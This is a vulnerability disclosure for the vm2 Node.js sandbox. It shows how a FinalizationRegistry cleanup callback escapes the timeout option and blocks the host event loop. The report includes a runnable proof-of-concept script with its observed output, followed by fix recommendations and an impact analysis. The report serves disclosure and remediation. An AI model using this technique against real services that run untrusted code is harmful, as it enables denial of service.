vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)

Steps to Reproduce

Environment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with npm install.

1. Clone and install:

   git clone https://github.com/patriksimek/vm2.git
   cd vm2 && npm install

2. Save as poc_timeout_bypass.js in the repo root:

   const { VM } = require('./lib/main.js');
 
   const CONFIGURED_TIMEOUT_MS = 200;
   const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });
 
   const t0 = Date.now();
   let runError = null;
   try {
     vm.run(`
       let target = {};
       const registry = new FinalizationRegistry(() => {
         const busyStart = Date.now();
         while (Date.now() - busyStart < 3000) { /* burn CPU, block event loop */ }
       });
       registry.register(target, 'held-value');
       target = null; // drop only strong reference -> GC-eligible
     `);
   } catch (e) { runError = e.message; }
   const t1 = Date.now();
   console.log('vm.run() returned after', t1 - t0, 'ms. Threw:', runError);
 
   if (!global.gc) { console.log('Re-run with --expose-gc'); process.exit(1); }
   global.gc(); global.gc();
 
   const timerScheduledAt = Date.now();
   setTimeout(() => {
     const delay = Date.now() - timerScheduledAt;
     console.log('Host setTimeout(10ms) actually fired after', delay, 'ms');
     console.log('Total wall time since vm.run() returned:', Date.now() - t1, 'ms');
   }, 10);

3. Run: node --expose-gc poc_timeout_bypass.js
4. Observed output:

   vm.run() returned after 2 ms. Threw: null
   Host setTimeout(10ms) actually fired after 3000 ms
   Total wall time since vm.run() returned: 3029 ms

5. Interpretation: run() returned in 2ms, well inside the configured 200ms timeout — vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop — not just the sandbox — was blocked by sandboxed code running 15x longer than the configured timeout, entirely after run() had returned and outside any timeout enforcement.
6. typeof FinalizationRegistry and typeof WeakRef inside a fresh VM() both evaluate to "function" with no wrapping, confirming the surface is reachable by design, not by an incidental leak.

Fix Recommendation

Pick one or combine:

1. Remove FinalizationRegistry and WeakRef from the sandbox global scope by default. These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock timeout promise. Delete them from the context in lib/setup-sandbox.js alongside the other hardening done there, mirroring how other dangerous globals are handled.
2. If they must remain available, wrap FinalizationRegistry's constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via Script.runInContext with timeout again, or by tracking cumulative CPU time via process.hrtime/Isolate::TerminateExecution if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget run() call is today.
3. Document the gap explicitly if neither is implemented immediately: the current README/docs describe timeout as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (FinalizationRegistry) are exempt.

any application that runs untrusted code through vm2 with a timeout expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (registry.register(target, x) then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker's loop runs — with no relationship at all to the configured timeout value. Because the freeze happens asynchronously and disconnected from the triggering run() call, it also undermines incident response: by the time the hang is observed, the run() call that caused it may be long gone from logs/traces.

This is a timeout-enforcement bypass / uncontrolled resource consumption issue, not (as currently demonstrated) a proxy/realm escape to host object access — sandboxed code stays within its own realm. See "What this report does not claim" below.